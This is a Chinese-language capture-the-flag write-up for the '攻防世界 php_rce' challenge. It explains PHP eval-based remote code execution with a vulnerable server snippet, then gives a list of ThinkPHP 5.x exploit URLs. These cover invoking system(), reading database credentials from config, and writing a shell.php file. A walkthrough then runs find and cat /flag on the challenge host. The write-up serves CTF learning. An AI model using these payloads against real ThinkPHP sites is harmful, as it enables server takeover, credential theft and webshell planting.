[CTF/网络安全] 攻防世界 php_rce 解题详析

news/2024/5/20 0:06:13 标签: web安全, CTF, php, 远程RCE, 网络安全

[CTF/网络安全] 攻防世界 php_rce 解题详析

    • PHP REC
    • ThinkPHP V5漏洞Payload
    • 姿势
    • 总结

在这里插入图片描述


PHP REC

PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器的控制。

下面简单介绍一种常见的远程 RCE 漏洞利用方式,即利用 PHP 中的 eval 函数实现 RCE 的方式。在该示例中,攻击者可以通过 HTTP 请求向目标服务器传递 PHP 代码,并执行该代码:

php">// 服务端代码
$user_input = $_GET['user_input']; // 没有对输入进行过滤
eval('$result = ' . $user_input . ';'); // 远程代码执行

// 攻击者构造恶意代码
http://example.com/index.php?user_input=system('ls%20-la');
//远程执行 "ls -la" 命令。

由于服务器代码没有对 user_input 的内容进行过滤和验证,攻击者可以通过 user_input 参数发送任意 PHP 代码,并将其作为一个字符串传递给 eval 函数进行执行,成功实现ls -la命令。
在 Unix/Linux 系统中,ls -la 命令可以列出当前目录下的所有文件和子目录,并显示它们的详细信息,包括权限、创建时间、大小等等。


ThinkPHP V5漏洞Payload

thinkphp 5.0.22

1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5

1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

thinkphp 5.0.21

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.1.

1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

5.0.20

1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

姿势

使用thinkphp 5.1.payload,
URL + /?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
回显如下:
在这里插入图片描述
提示使用5.0.20版本Payload
URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
回显如下:

在这里插入图片描述
说明命令执行成功
接着抓取flag即可
PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
在这里插入图片描述
由上图可知,flag字段储存在flag文件夹下的flag文件中

使用cat命令读取flag
PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag


命令解析及详析姿势参考:[CTF/网络安全] 攻防世界 command_execution 解题详析


回显如下:
在这里插入图片描述


总结

该题结合部分Linux命令考察ThinkPHP V5漏洞
我是秋说,我们下次见。


http://www.niftyadmin.cn/n/346689.html

相关文章

electron入门

1. 简介 官网Electron 是由 GitHub 众多开发者开发的一个开源项目,能够使用 JavaScript,HTML 和 CSS 构建跨平台的桌面应用程序 2. 五分钟快速上手 2.1 安装 electron 初始化 package.json 文件 npm init 安装 electron cnpm I electron –S 2.2…

【腾讯云 Finops Crane 集训营】云架构成本大,浪费支出太高?何不试试Crane

一、前言 近年来,很多公司随着业务的发展都开始采用云原生的架构方式来部署服务系统,以便满足系统的弹性需求。但随着业务的进一步增长,k8s的节点数不断的增加,每个月消耗的费用也随之增加,导致了资源的利用率并不平均…

Winform窗体利用WebApi接口实现ModbusTCP数据服务

在上位机开发过程中,有时候会遇到需要提供数据接口给MES或者其他系统,今天跟大家分享一下,如何在Winform等桌面应用程序中,开发WebApi接口,提供对外modbus设备的数据服务。通讯模型是: 为了更好地演示应用场…

LLaMA模型系统解读

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法…

【算法设计与分析】第七至十一讲实验

7: 1. 实验题目 给定一个非负整数的数组,每个数字表示在当前位置的基础上最多可以走的步数。求能够到达数组最后一个位置所需的最少移动次数。如果不能到达,则输出-1。 例如: 输入数组 [2,3,1,1,4],输出2——第一步从下标0移动1步到下标1,再移动3步到最后一个位置。 输…

基于java+springboot+layui的流浪动物交流信息平台设计实现

基于javaspringbootlayui的流浪动物交流信息平台设计实现 博主介绍:5年java开发经验,专注Java开发、定制、远程、指导等,csdn特邀作者、专注于Java技术领域 作者主页 超级帅帅吴 Java项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取源码联系方…

c++学习——引用

引用 **引用的语法****引用的注意事项****数组的引用****引用的本质****尽量用const来代替define****指针的引用** 1.引用是做什么:和C语言的指针一样的功能,并且使语法更加简洁 2.引用是什么∶引用是给空间取别名 引用的语法 #define _CRT_SECURE_NO_WARNINGS #include <i…

【网络】- TCP/IP四层(五层)协议 - 网际层(网络层) - IP地址

目录 一、概述 二、IP地址的定义 三、IP地址由网络和主机两部分标识组成 一、概述 上篇文章简单介绍了网际协议IP。网际协议 IP 大致分为三大作用模块&#xff0c; ①IP寻址、 ②路由&#xff08;最终节点为止的转发&#xff09; 、③IP分包与组包。 这篇文章主要详细介绍IP地址…